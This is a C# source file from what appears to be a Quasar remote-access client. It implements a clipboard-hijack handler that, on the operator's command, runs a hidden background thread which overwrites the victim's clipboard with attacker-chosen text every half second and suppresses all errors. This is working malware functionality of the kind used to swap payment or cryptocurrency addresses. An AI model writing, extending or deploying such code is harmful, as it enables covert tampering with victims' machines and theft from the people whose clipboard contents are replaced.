using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class ClipboardHijackHandler : IMessageProcessor, IDisposable
    {
        private Thread _thread;
        private volatile bool _running;
        private string _replacementText;

        public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoStartClipboardHijack start: Start(start.ReplacementText); break;
                case DoStopClipboardHijack _: Stop(); break;
            }
        }

        private void Start(string replacementText)
        {
            Stop();
            _replacementText = replacementText;
            _running = true;
            _thread = new Thread(() =>
            {
                while (_running)
                {
                    try
                    {
                        if (Clipboard.GetText() != _replacementText)
                            Clipboard.SetText(_replacementText);
                    }
                    catch { }
                    Thread.Sleep(500);
                }
            });
            _thread.SetApartmentState(ApartmentState.STA);
            _thread.IsBackground = true;
            _thread.Start();
        }

        private void Stop() => _running = false;

        public void Dispose() => Stop();
    }
}
